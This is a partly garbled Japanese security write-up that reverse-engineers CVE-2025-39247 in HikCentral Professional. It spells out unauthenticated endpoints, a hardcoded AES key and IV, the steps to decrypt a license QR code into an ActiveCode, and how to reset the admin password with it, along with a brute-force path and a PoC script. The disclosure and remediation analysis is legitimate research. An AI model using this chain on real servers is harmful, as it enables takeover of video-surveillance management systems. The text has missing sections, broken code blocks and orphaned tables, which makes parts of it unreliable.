
HikCentral Professional - 事前認証ライセンス ActiveCode 漏洩
何かをダウンロードする前に、既に公開されている情報:
| ソース | 分かること |
|---|---|
| Hikvision セキュリティアドバイザリ | 「APIエンドポイントでの認証チェック欠如」、V2.6.3 / V3.0.1 へのアップグレードを推奨 |
| NVD CVE-2025-39247 | CVSS メトリクス。ベクトルはネットワーク、認証不要、スコープ変更あり、機密性への影響は高 |
| Wiz、ZeroPath、SentinelOne、OffSeq、gbhackers、cybersecuritynews の要約 | すべてアドバイザリの言い換え。技術的詳細なし、PoC なし、影響を受けるエンドポイントの名称なし |
| GitHub の PoC アグリゲーター(poc-in-github、0xMarcio/cve など) | インデックスされた PoC なし |
| フォーラム(ipcamtalk、cctvforum、reddit)、トレントインデクサー | PoC なし、リークされたインストーラーなし。ipcamtalk には HikCentral の利用スレッドがあるが、エクスプロイト関連のものはなし |
したがって、分析日時点では、このバグを公開している技術的な解説書は存在しない。再現はバイナリ差分解析から始めることになる。
CVE-2025-39247 の公開後、V2.6.2 のダウンロードページは削除されたが、CDN 上のファイルは削除されていなかった。ファイル名は、削除前にページをインデックスしていたサードパーティのミラー(FileHorse — 公開ファイル名と MD5)から復元できる。そのファイル名を使い、通常のブラウザの User-Agent とそれに対応する Referer ヘッダーだけを用いて Hikvision の CDN にプレーンな GET リクエストを送ると、まだそのファイルが配信される。```bash
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0"
-H "Referer: https://www.hikvision.com/en/support/download/software/hikcentral-professional-v2-6-2/"
-O
"https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe"
結果:
- サイズ: 1,314,043,792 バイト (1.22 GB)
- MD5: `76d42e7cb16dc0e177b9a35d0fed7ced` — FileHorseが公開している値と一致しており、正規のHikvision署名付きインストーラーであることを確認(サードパーティによる再バンドルではない)
- CDNレスポンスヘッダー: `HTTP/2 200`, `content-type: application/x-msdownload`, `eo-cache-status: HIT`, `age: 2520395` (≈ 29日間、Tencent EdgeOneエッジキャッシュに格納されたまま排除されていない)
**Hikvision PSIRTに報告する価値のある副次的な観察:** V2.6.2ページの「削除」は表面的なものです。孤児となったファイルは認証なし、署名付きURLのゲートなしでCDN上で到達可能です。V2.5.1 および V2.6.0 フルパックも同様に応答します。
### 2.2 パッチ適用済みインストーラー (V2.6.3 ベースパック)
現在V2.6.3のダウンロードページからリンクされています。取得方法は同じです:```
https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-3/HikCentral-Professional_Base-Pack_V2.6.3.202508280142_Win_x64_Installer.exe
V2.6.2 のダウンロードページから引き続きリンクされています (Hikvision はユーザーに適用してほしいと考えています):``` https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/cve-2025-39247-security-vulnerability-patch/HikCentral-Professional_CVE-2025-39247_FixPack_V2.3.1-V2.6.2V3.0.0_20250904.exe
- サイズ: 32,599,504 bytes (31 MB)
---
## 3. 静的抽出
3つはすべてInstallShieldスタイルのPEラッパーです。`7z`は2パスでそれらを展開します:```bash
# pass 1 — extract PE resources
7z x -o./extracted/v262/pe downloads/<v2.6.2 installer>
7z x -o./extracted/v263/pe downloads/<v2.6.3 installer>
# pass 2 — extract the nested 7-Zip streams hiding in PE resources
# (note: the resource-type label says "ZIP" but the byte signature is 7-Zip)
for ver in v262 v263; do
for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do
sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue
7z x -o"extracted/$ver/payload/$(basename $z)" "$z"
done
done
両インストーラーは、それぞれ約24個の名前付きペイロードアーカイブに展開されます。トップレベルのディレクトリでアーキテクチャが明らかになります:
重要なのは、JavaのJAR/WARがどこにも存在しないことです。バックエンドはNginx上のC++です。これは、認証の欠陥がコンパイル済みバイナリに存在し、逆コンパイルが容易なWAR/JARバイトコードには存在しないことを事前に示しているため重要です。
for ver in v262 v263: find . -type f -print0 | xargs -0 md5sum | sort -k2 > inv_$ver.txt
v262 = {ln[34:]: ln[:32] for ln in open("inv_v262.txt")} v263 = {ln[34:]: ln[:32] for ln in open("inv_v263.txt")} common = set(v262) & set(v263) changed = [p for p in common if v262[p] != v263[p]]
結果:共通パス内の239個の変更ファイル。分布:
| バケット | 数 | コメント |
|---|---|---|
| `246/www/*.js`(Web UIチャンク) | ~200 | ほとんどがバージョン更新によるアセットハッシュの変更。無視 |
| `246/Nginx/conf/nginx_location.conf` | **1** | **単一ファイルのNginx設定差分 — ここから始める** |
| `246/Nginx*/install.bat` | 6 | インストールスクリプト、無関係 |
| `244/bin/*.{exe,dll}` | 6 | ネイティブバイナリ(`DistributionFilter.dll`、`FilterChain.dll`、メディアツール) |
| `282/*.{exe,dll}` | 55 | アプリケーションサービス(最大のクラスター — `platform.dll`、`PersonCredential.dll`、`baseacs.*`、…) |
| `240/bin/pg_*` | 6 | Postgresの再ビルド、無関係 |
| `284/hplugin/dahua_plugin/*` | 4 | ベンダーSDKリフレッシュ(+10.97 MB)— 無関係 |
| `284/hplugin/onvif_plugin/*` | 4 | ベンダーSDKリフレッシュ(+0.99 MB)— 無関係 |
| upgrade/uninstallスタブ、クラッシュレポーター | ~30 | 同じサイズのPEタイムスタンプ再ビルド、無視 |
ベンダーSDKリフレッシュ、ビルドシステムのタイムスタンプずれ、純粋な外観上のアセット更新を除外すると、*実際の* セキュリティ関連の差分は以下に絞られます:
- 1つのNginx設定ファイル
- `282/` 内の少数のC++バイナリ(最も顕著なのは `platform.dll`、HCMPバックエンドサービス、+57 KB)
---
## 5. Nginxの差分:無料のバグ特定
V2.6.2とV2.6.3の間で `diff -u nginx_location.conf` を実行すると、ちょうど1つの差分ハンクが生成されます:V2.6.3に完全に新しい `location =` ブロックが追加されています。```nginx
#禁止非127.0.0.1和::1的重置密码 ← "Forbid non-127.0.0.1/::1 password reset"
location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
if ($allowed != "1") { return 403; }
if ($scheme = "http") { proxy_pass http://http_backend; }
if ($scheme = "https") { proxy_pass http://http2_backend; }
}
その21行だけの追加が、フロントドア層におけるCVE-2025-39247修正の全体であり、それだけで全てが分かります。
PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword/ISAPI/Bumblebee/Platform/V0/* プロキシディレクティブを通過してバックエンドに到達し、リモートアドレス制限がなく、Nginxレベルの認証チェックもありません。中国語のコメントが重要です。直訳すると「非127.0.0.1/::1からのパスワードリセットを禁止」となります。
Web UIのJavaScript(minified、246/www/Portal/*.js内)は、次のようにエンドポイントを呼び出します。```js
// API definition (de-minified):
changeDefaultUserPassword: function (sid, payload, opts) {
return http.put({
url: "ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword",
data: { ChangeDefaultUserPasswordRequest: payload },
params: { SID: sid }
}, opts);
}
// Call site: changeDefaultUserPassword(n.SID, { UserName: form.userName, // "admin" Password: jsEncrypt.encrypt(form.newPassword), // RSA-PKCS1v15 ActiveCode: form.activeCode ? jsEncrypt.encrypt(form.activeCode) : "", QuestionList: questionAnswers // [{ID, Answer}, …] or [] }, ...);
// The RSA pubkey comes from another unauthenticated endpoint: getCrypto: function () { http.get({ url: "ISAPI/Bumblebee/Platform/V0/Security/Crypto" }); } // returns: { CryptoKey: <PEM/base64 RSA pubkey>, ... }
したがって、何かを逆アセンブルする前から、公開されているJSだけで完全なワイヤーフォーマットが得られる。しかし、厄介な点も同時に明らかになる。リクエストボディには**有効な`ActiveCode`または正しい`QuestionList`の回答のいずれか**が必要であり、空の値を送信しても機能しない — バックエンドは文書化されたエラーのいずれかで拒否する(§7の`platform.dll`の文字列マイニングで確認済み)。
つまり、CVE-2025-39247は**「エンドポイントが認証バイパスであり、空のフィールドを送信すればパスワードが変更される」というものではない**。そうではなく、「エンドポイントは*ローカル専用の呼び出し元*がすでに正しいActiveCodeを持っていると*信頼*している。バグは、ネットワークレベルのlocalhostゲートが欠落していることだ。そのため、*リモート*の呼び出し元であっても、有効なActiveCodeまたはQuestionListを*併せて*供給できれば成功してしまう」というものである。したがって、実際のエクスプロイトの難問は次のとおりだ: ActiveCodeまたはQuestionListはどこから入手するのか。
---
## 7. バックエンドハンドラ — `platform.dll`の文字列マイニング
`platform.dll`はHCMPバックエンドサービスであり、V2.6.2では46.87 MB、V2.6.3では46.93 MB(+57 KB)です。すべてのルーティング文字列、ログフォーマット文字列、C++ RTTI / `__FUNCTION__`文字列が平文のまま含まれています。
`platform.dll`内のハンドラ周辺の文字列:```
VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
/ChangeDefaultUserPasswordRequest/UserName
/ChangeDefaultUserPasswordRequest/Password
/ChangeDefaultUserPasswordRequest/ActiveCode
/ChangeDefaultUserPasswordRequest/CryptoKey
/ChangeDefaultUserPasswordRequest/QuestionList
/ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer
[%s]IP=[%s] Reqest Paramter active_code and security_question both empty!
[%s]invalid active_code=%s
[%s]security question verify fail
[%s]IP=[%s] Isn't Super User!
[%s]IP=[%s] User Not Exist!
[%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s
[%s] ChangeDefaultUserPassword by ip[%s].
platform.dll の両バージョンには、これらの文字列が含まれています。つまり、検証ロジックはV2.6.2にも存在します — ActiveCode と QuestionList はチェックされています。
V2.6.3の platform.dll には存在するが、V2.6.2には存在しない文字列:```
VSMPlatform::CRetrievePwdByQuesFreezeManager::AddAccountLoginFailCount VSMPlatform::CRetrievePwdByQuesFreezeManager::ClearAccountFreeze VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountFreezeSurplusCount VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountLockRemainingFreezeTime VSMPlatform::CRetrievePwdByQuesFreezeManager::IsAccountFreeze ....\src\vsmplatform\Authentication\UserLogin\Freeze\RetrievePwdByQuesFreezeManager.cpp [%s]AddAccountLoginFailCount only admin can lock, but id: %d
127.0.0.1
admin
VSMPlatform::CCmd::CheckToken /ResponseStatus/Data/TokenValid [%s]token = %s, session = %s
/ResponseStatus/Data/RetrievePasswordResult/RemainingNumber /ResponseStatus/Data/RetrievePasswordResult/LockRemainTime /ResponseStatus/Data/RetrievePasswordResult/RemainingType
つまり、V2.6.2 の `ChangeDefaultUserPassword` 検証パスには、レート制限は**一切**ありませんでした。攻撃者が間違った ActiveCode または間違った秘密の質問の回答を送っても、エラーが返るだけで、無制限に再試行できます。検証コードの書式文字列 `%06d` も `platform.dll` にあります(SQL スキーマ `verify_code VARCHAR(64)` と共に)。これにより、メール検証コードが **6桁の10進数** であり、探索空間が 10⁶ であることが確認されます。
これはすでに実行可能なエクスプロイトです(パス A)。`SendVerifyCode` をトリガーし、有効期限ウィンドウ内で 10⁶ 個のコードをロックアウトなしにブルートフォースします。1000 req/s の場合、平均成功までの時間は約8分です。しかし、より鋭い経路があります。
---
## 8. 事前認証の情報開示面
`platform.dll` のエンドポイント列挙により、関連しているように見えるいくつかの類縁エンドポイントが明らかになります:```
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName
/ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck
/ISAPI/Bumblebee/Platform/V0/Security/Crypto
/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode
これらはいずれも nginx_location.conf では制限されません。すべて同じデフォルトの /ISAPI/Bumblebee/Platform/* プロキシを経由します。ハンドラー文字列は、それらが返す内容を示しています:```
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Email
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Name
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RetrieveType
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RemainVerityCodeTimeout
/ResponseStatus/Data/UserRetrieveStateInfo/SystemMailSetted
/ResponseStatus/Data/UserRetrieveStateInfo/SecurityQuestionSetted
/ResponseStatus/Data/UserRetrieveStateInfo/AllowRetrieve
したがって、`RetrieveStateInfo(Name=admin)` は、管理者のメールアドレス、秘密の質問による復旧が設定されているかどうか、メールによる復旧が設定されているかどうか、そして進行中の検証コードの残り有効期間を返します — 誰でも、認証なしで。
`RetrieveStateInfo` はV2.6.3パッチではロックダウンされていません。情報漏えいはV2.6.3でも引き続き発生します。
---
## 9. ライセンス/QR攻撃対象領域
エンドポイント `/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode` は、その名前が *License* と *ActiveCode* を組み合わせている点が際立っています — しかもパスワードリセットハンドラーも `ActiveCode` フィールドを受け入れます。これは疑わしい用語の重複です。
そのハンドラーから到達可能な文字列:```
License:%s;DZP:%s ← QR plaintext format
[%s]PrivateAESEncrptQRCode failed! data:%s ← AES path used to encrypt
[%s]Base64Encode failed! data:%s ← then base64
/ResponseStatus/Data/QRCode ← response field
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s
つまり、QRコードは Base64( AES-128-CBC-PKCS7( "License:<ActiveCode>;DZP:<DeviceCode>" ) ) であり、平文にはパスワードリセットエンドポイントが検証するインストールごとのライセンスActiveCodeがそのまま含まれています。QRコードはURLテンプレート https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<base64-of-ciphertext> にラップされ、その後QR-PNGとしてレンダリングされます。そのPNGがJSONレスポンスフィールド Data.QRCode が返すものです。
V2.6.3の差分による確認: フォーマット文字列 License:%s;DZP:%s はV2.6.2の platform.dll に存在し、V2.6.3では削除されています。QRエンドポイント自体、PrivateAESEncrptQRCode 関数シンボル、IVリテラル(§10)はすべてV2.6.3でも残っています。漏洩する平文フォーマットだけが削除されたのです。これはHikvisionの修正としてまさに予想される形です。
これは作業量が多いステップです。手順:
platform.dll 内で関数 VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode を見つけます。エラーフォーマット文字列 [%s]PrivateAESEncrptQRCode failed! data:%s は .rdata にあります。その .rdata VMAを見つけ、そのVMAに解決される lea r, [rip + rel32] 命令を .text 内でスキャンします。(16MBの .text の場合、pefile + capstone でREX.W + 8D + MODRM mod=00 rm=101パターンを線形ウォークすると数秒かかります。)
エラーログは 0x1812553f7 のただ1つの命令から参照されています。.pdata(PE x64アンワインドテーブル。pefileで解析可能なセクションヘッダー。RUNTIME_FUNCTIONエントリごとに12バイト: start_RVA、end_RVA、unwind_RVA)を使って外側の関数まで遡ると、外側のISAPIハンドラ CLicenseISAPIComm::ActiveCodeQRcode が 0x181254cc0..0x181255919 にあることが分かります。
この外側の関数は "License:%s;DZP:%s" の平文文字列を構築し、結果をbase64エンコードします。実際のAES呼び出しは、その一段下のヘルパー 0x18002a397 にあります(ジャンプサンクを介して、RTTI文字列が VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode である502バイトの関数に解決されます。文字列xrefで確認済み)。
0x1807d33e0 におけるAESラッパー内部502バイトの本体を逆アセンブルし、ターゲットが .rdata に入るすべての lea r, [rip + rel32] をリストアップすると、5つの文字列参照だけが得られます:```
0x1807d34d2 -> 0x18200b1b0 len=16 'AaBbCcDd1234!@#$' ← 16 bytes of letters/digits/symbols
0x1807d3516 -> 0x18200b1d0 len=48 '....\src\vsmplatform\Common\PrivateAESEncrypt\PrivateAESEncrypt.cpp'
0x1807d352a -> 0x18200b218 len=48 'VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode'
0x1807d3531 -> 0x18200b250 len=23 '[%s]error is %d[%s(%d)]'
0x1807d3538 -> 0x18200b268 len=23 'platform.PriorityLogger'
The first entry is the only 16-byte stringref. That length is suspicious: AES block / key / IV are all 16 bytes for AES-128. The literal `AaBbCcDd1234!@#$` — eight alternating-case letter pairs followed by `1234!@#$` — is also the textbook "developer placeholder constant" shape (similar to the *real* `BAADF00D` / `DEADBEEF` ASCII idioms). At this point a sensible hypothesis is "this is the IV".
That hypothesis is supported by the disassembly context. The instruction sequence around the stringref:```asm
; ... build first 16 bytes of something into buffer at [rsp+0xc0] ...
mov dword ptr [rsp + 0x100], 5 ; some flag = 5
lea rdx, [rip + 0x1837cd7] ; <— loads "AaBbCcDd1234!@#$"
lea rcx, [rsp + 0xe0] ; destination
call <thunk> ; std::string assign-like; copies 16B into [rsp+0xe0]
mov dword ptr [rsp + 0x104], 1
lea rdx, [rsp + 0xa0] ; pass: rdx = key (16B at [rsp+0xa0])
lea rcx, [rsp + 0x60] ; pass: rcx = output buffer
call <encrypt-wrapper at 0x180007563> ; → 0x181b03790, a generic AES mode-dispatcher
; that imports AES_cbc_encrypt, AES_cfb128_encrypt,
; AES_ecb_encrypt and AES_ofb128_encrypt.
; QR path takes the AES_cbc_encrypt branch.
So [rsp+0xe0] には IV バイトが格納され、[rsp+0xa0] には先に [rsp+0xc0] に構築された16バイト(キー)が格納され、これら2つのバッファが OpenSSL ラッパーに渡されます。IV の復元を確認するには、照合するだけで済みます。V2.6.3 の platform.dll には、同じオフセットに文字列リテラル AaBbCcDd1234!@#$ が今も含まれています。Hikvision は IV をローテーションしていません。これは暗号学的に正しい選択です(秘密にする必要があるのはキーだけで、IV はメッセージごとに一意である必要がありますが、固定 IV は固定キーほど「破綻」ではなく「弱い」だけです)。
IV の文字列参照のすぐ上で、ラッパーは次の短いシーケンスでキーを設定します。```asm mov dl, 0x41 ; seed byte = 'A' lea rcx, [rsp + 0x140] ; this-pointer for a local buffer call <thunk 0x1800683fe> ; → 0x1807d19b0 (599-byte function) mov [rsp + 0x50], rax mov rdx, [rsp + 0x50] ; rdx = pointer to the 16-byte buffer the call just produced lea rcx, [rsp + 0xc0] call <std::string assign> ; copy the 16 bytes into the key buffer at [rsp+0xc0]
次に `0x1807d19b0` を逆アセンブルすると、これは *純粋な算術的な鍵導出関数* です。1バイト(`0x41`)を入力として受け取り、16バイトのスタック領域を確保し、ハードコードされた16個の符号付きオフセットの並びに対して、それぞれ `seed + offset_i` として計算された16個の値を書き込みます:```
+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39,
−0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D
シード 0x41 ('A') の場合:
Algorithm: AES-128-CBC with PKCS7 padding IV (16): 41 61 42 62 43 63 44 64 31 32 33 34 21 40 23 24 → AaBbCcDd1234!@#$ KEY (16): 57 77 58 78 59 79 5A 7A 31 32 33 34 21 40 23 24 → WwXxYyZz1234!@#$
Same arithmetic family. Same trailing 8 bytes (`1234!@#$`). Both are binary-embedded constants identical across every V2.6.2 install (and across V2.3.1 .. V2.6.2 and V3.0.0 — they share the QR-encrypt path), so a one-time recovery from one copy of `platform.dll` is enough to decrypt the QR from any vulnerable HCMP server on the network.
---
## 11. エンドツーエンドの連鎖
この連鎖は、明確に2つの部分に分かれます:
- **前半(1〜3)** は、HCMPにおける未認証の**情報漏えい**問題です。これらは読み取り専用の2つのリクエストをターゲットに対して送信し、ログイン前のエンドポイントからインストールごとのシークレット(License ActiveCode)を取得します。
- **後半(4〜5)** は、回復したActiveCodeを通常のWeb UIを通じてHCMPの正規の「パスワードを忘れた場合」ワークフローに送信することで実行される**乗っ取り**です。特別なHTTPリクエストは不要で、操作者は正規ユーザーが行うのと同じフォームをクリックして進みます。
この分割が重要なのは、参照PoCを、破壊的なコードパスを一切持たない純粋な偵察ツールとして実装できるようにするためです(UIワークフローは、人間が関与し続けます)。```
HALF 1 — automated recon (recovers the ActiveCode):
1. POST /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET (empty body)
(unauthenticated, read-only)
→ ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode}
→ SID is a server-issued anonymous session token used by step 2.
2. POST /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=<sid>
(empty body, unauthenticated, read-only)
→ ResponseStatus.Data.QRCode = base64( PNG image of a QR code )
The QR's payload is the URL template
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<b64>
where <b64> = base64(
AES-128-CBC-PKCS7(
KEY = WwXxYyZz1234!@#$,
IV = AaBbCcDd1234!@#$,
PT = "License:<code>[,<code>...];DZP:<devicecode>"))
The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes
(one per licensed module on the target). Any single ActiveCode in
that list is accepted by the takeover workflow in HALF 2.
3. Locally:
a. base64-decode the QRCode field → PNG bytes
b. decode the QR (e.g. pyzbar) → URL string
c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid
base64 character that must survive verbatim)
d. base64-decode → 16N bytes of AES ciphertext
e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad
f. split on "License:" / "," / ";DZP:"
→ list of ActiveCodes in plaintext.
HALF 2 — manual takeover via the legitimate Web UI:
4. Open https://<target>:<port> in a browser.
5. Click «Forgot password».
6. Username → admin
7. Recovery method → «Activation code» (NOT email / questions)
8. Activation code → <one of the recovered ActiveCodes>
9. Choose & confirm a new admin password.
10. Log in as admin with the new password.
ブルートフォースもソーシャルエンジニアリングも不要で、あるV2.6.2の platform.dll から一度だけ回収できる16バイトのKEY+IVペア以外の事前知識も不要です。このペアは、影響を受けるすべてのバージョンのすべてのインストール環境で同一です。手順4〜10は、オペレーターが正規のUIを通じて手動で実行します。参照PoCには、これに相当する自動化された手段はありません。
実装: poc/cve_2025_39247_poc.py — 偵察専用のPythonスクリプトです。これはHALF 1(事前認証の読み取り専用POSTを2回)を実行し、続いてオペレーターのターゲットURLと復元されたActiveCode(s)を埋め込んだ手動レシピ(手順4〜10)を出力します。このスクリプトにはターゲットに書き込むコードは含まれておらず、HALF 2はWeb UIを通じて手動で実行されるため、このツールは撃ち放しの武器ではなく、検証手段としての役割を維持します。
実行:```bash python3 poc/cve_2025_39247_poc.py https://:
2つの `--qr-*` フラグを使うと、取得済みの QR に対してスクリプトを完全にオフラインで実行できます(ターゲットに再アクセスせずに分析するため):
- `--qr-scanned-text '<value>'` — スキャンした QR のテキスト内容を貼り付ける
- `--qr-ciphertext-hex <hex>` — 事前に抽出した base64 デコード済み AES 暗号文を渡す
---
## 12. V2.6.3(および Fix-Pack)で実際に変更された点
| 防御策 | V2.6.2 | V2.6.3 | V2.6.2 用 Fix-Pack |
|---|---|---|---|
| `ChangeDefaultUserPassword` への Nginx remote-addr 制限 | なし | **追加** | **追加**(Fix-Pack EXE 内の InstallShield スクリプト経由 — Fix-Pack のインストーラエンジン内の文字列 `\VSM Servers\Web Service\Nginx\conf\nginx_location.conf` / `_bak.conf` によって確認済み) |
| ハンドラでのアプリレベルの `127.0.0.1` リテラルチェック | なし | **追加** | 追加されず(Fix-Pack は `platform.dll` をパッチしない) |
| アカウントごとのロックアウト(`CRetrievePwdByQuesFreezeManager`) | なし | **追加(管理者のみ)** | 追加されず |
| `CheckToken` 検証ステップ | なし | **追加** | 追加されず |
| QR 平文に `License:<ActiveCode>;DZP:...` が含まれる | あり | **削除** | 変更なし(Fix-Pack は `platform.dll` をパッチしない) |
| QR AES 鍵 | バイナリから抽出可能 | ローテーション *または* 未使用(平文形式の変更によって経路が無効化されたかどうかに依存) | Fix-Pack 内の `wbaes_key_dec` + ホワイトボックスAES復号器でローテーション |
| QR AES IV | `AaBbCcDd1234!@#$` | 変更なし | 変更なし |
| `RetrieveStateInfo` の情報漏えい | 漏えいする | **依然として漏えいする** | 依然として漏えいする |
| `GetSecurityQuestionCommBeforeLogin` | 漏えいする | **依然として漏えいする** | 依然として漏えいする |
| Hikvision CDN 上で到達可能な脆弱なインストーラ | あり | あり | あり |
Fix-Pack には、V2.6.3 リリースでは不要な追加部品が同梱されている。**ホワイトボックスAES復号器**(`wbext_dec.exe`、ソースパスが `D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c` を漏えいし、独自の `fixed_iv_16byte` IV リテラルを使用)と **244バイトの AES-128-CFB 暗号文**(`wbaes_key_dec`)である。この復号器は暗号文ブロブを受け取り、新しい平文鍵を生成する。Fix-Pack インストーラはその鍵を HCMP のストレージに書き込み、既存の V2.6.2 インストールでバイナリ埋め込みの QR 鍵をローテーションする。ここでホワイトボックスAES が使われるのは、ローテーション後の鍵をパッチ成果物から目視で取り出すのを困難にするためだけである — DRM システムで使われるのと同じ防御技術である。
---
## 13. 推奨される是正措置(公開済みパッチ以外)
1. **CDN から孤立したインストーラバイナリを削除する。** `…/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe` は依然として HTTP/2 200 を返し、29日経過のエッジキャッシュヒットが残っている。V2.6.0、V2.5.1 なども同様である — 脆弱な範囲のすべてのインストーラは依然として直接 URL で到達可能である。ページレベルの非掲載は表面的なものにすぎない。
2. **`RetrieveStateInfo` と `GetSecurityQuestionCommBeforeLogin` を認証必須にする。** 両者は V2.6.3 でも匿名呼び出し元に管理者メールとリカバリ構成メタデータを漏えいする。どちらも修正では触れられていない。
3. **暗号鍵の材料として ASCII プレースホルダ定数を使うのをやめる。** `WwXxYyZz1234!@#$` は「流し読みによるコードレビュー」をすり抜けるタイプの値である。初回実行時にインストールごとのランダムな材料に置き換えること。後方互換性のためバイナリ埋め込みのフォールバックが必要なら、最低でもインストール固有の状態(マシン GUID、インストールタイムスタンプ)のハッシュから導出し、デプロイごとに異なる値にすること。
4. **「IV は秘密にしなくてよい」を免罪符ではなく危険な落とし穴として扱う。** 開示後も IV リテラルを維持することは CBC では数学的に擁護できるが、diff によってローテーションが鍵のみであると判明すると、攻撃者に不要な利便性をもたらす。
5. **`ChangeDefault*` 系エンドポイントについては、Nginx の設定による制限よりも、アプリケーション層での Unix ドメインソケット / ループバック専用リスナーを優先する。** 設定ファイルは1回の誤編集でバグを再発させ得る。C++ サービス内の `bind 127.0.0.1` は構造的に安全である。
| Archive | Contents |
|---|
246/Nginx + 246/www | Nginx Web層(玄関口)とSPA Web UI |
244/bin | ネイティブC++サービスバイナリ + 証明書 |
240 | 同梱のPostgreSQL + DB初期化スクリプト |
238 | Bee* ランタイム(BeeAgent、BeeGuard、…) |
282 | アプリケーションサービスとアドオン(C++バックエンドコードの大部分) |
281, 283-284, 396, 398-399, 513, 520, 538-541, 573 | 小型のアドオン、プラグイン、アップグレード/アンインストール用スタブ |
| pos | offset | byte | char |
|---|
| 0 | +22 | 0x57 | W |
| 1 | +54 | 0x77 | w |
| 2 | +23 | 0x58 | X |
| 3 | +55 | 0x78 | x |
| 4 | +24 | 0x59 | Y |
| 5 | +56 | 0x79 | y |
| 6 | +25 | 0x5A | Z |
| 7 | +57 | 0x7A | z |
| 8 | −16 | 0x31 | 1 |
| 9 | −15 | 0x32 | 2 |
| 10 | −14 | 0x33 | 3 |
| 11 | −13 | 0x34 | 4 |
| 12 | −32 | 0x21 | ! |
| 13 | −1 | 0x40 | @ |
| 14 | −30 | 0x23 | # |
| 15 | −29 | 0x24 | $ |